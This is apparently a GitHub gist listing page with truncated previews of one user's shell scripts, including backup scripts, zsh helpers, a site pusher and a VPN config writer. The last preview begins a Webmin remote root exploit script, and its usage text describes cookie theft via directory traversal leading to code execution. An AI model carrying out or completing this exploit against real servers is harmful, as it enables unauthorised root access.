This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# zsh function alias that helps you remember where you left off working in a directory. | |
# useage: leftoff /etc | |
leftoff() { e=$(pwd);cd $1; IFS=$'\n' d=($(ls -t -1 $(pwd) | head -n 5));for a in ${d}; do c=$(ls -t ${a} | head -n 1); echo "${a}/${c}"; done;cd ${e} } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Image size reducing script | |
# | |
# oxagast <=> Mark Stealer Whitehall | |
trap cleanup INT | |
function cleanup() | |
{ | |
echo "Cleaning up..." |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# pujack | |
# a Jekyll static site pusher | |
# | |
# Designed by Marshall Whittaker / oxagast | |
# marshall@oxasploits.com | |
procs=4 | |
clvl=32 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# duplicity backup | |
PASSPHRASE="" # change this | |
KEYID="" # change this | |
LOG="/var/log/backup.log" | |
KEEP="6" # change this | |
FULLAFTER="1M" # change this | |
SITEONE="rsync://marshall@conductor//backups/viscosity/" # site 1 (use pubkey auth) | |
SITETWO="file:///var/backups/system/viscosity/" # site 2 | |
echo "Starting backup to SITEONE..." | |
duplicity --progress --log-file $LOG --asynchronous-upload --full-if-older-than 1M --encrypt-key $KEYID \ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# zerweinkel zsh theme | |
# by: oxagast | |
# | |
# Intricate yet elegent promp that displays a context line with your current: date, time, | |
# working directory, current external ip address (updated every 10 seconds), hostname, | |
# username, pty terminal, free memory, free hard drive space on /home, and a return | |
# for your last command on error. | |
function theme_precmd { | |
HOSTLEN=$(hostname -f|wc -c); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Run the last command as root | |
sudo !! | |
# Serve current directory tree at http://$HOSTNAME:8000/ | |
python -m SimpleHTTPServer | |
# Save a file you edited in vim without the needed permissions | |
:w !sudo tee % | |
# change to the previous working directory | |
cd - | |
# Runs previous command but replacing | |
^foo^bar |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
## | |
## Usage: ./ovpn-writer.sh SERVER CA_CERT CLIENT_CERT CLIENT_KEY > client.ovpn | |
## | |
server=${1?"The server address is required"} | |
cacert=${2?"The path to the ca certificate file is required"} | |
client_cert=${3?"The path to the client certificate file is required"} | |
client_key=${4?"The path to the client private key file is required"} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* touch qg.c && gcc qg.c -o gg.o -c && ld gg.o -o quine 2>/dev/null && ./quine | cat */ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# Backup to nas and copy to other partition | |
# | |
# Marshall Whittaker / oxagast | |
# | |
logd=$(date "+%Y%m%d%H%M%S") | |
echo "$logd Starting backup:" | tee -a $log | |
# What to backup. | |
backup_files="/home/marshall" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
HOST=$1; | |
PORT=$2; | |
LHOST=$3; | |
LPORT=$4; | |
if [ $# -lt 4 ] | |
then | |
echo "Webmin <1.29 remote root exploit by oxagast" | |
echo "Priv esc by directory transversal to find cookie in logfile file as root, then session highjack into RCE."; | |
echo "Thanks to UmZ for directory transversal attack; greets to enki for asking me to try this!"; | |
echo "Usage:" |
NewerOlder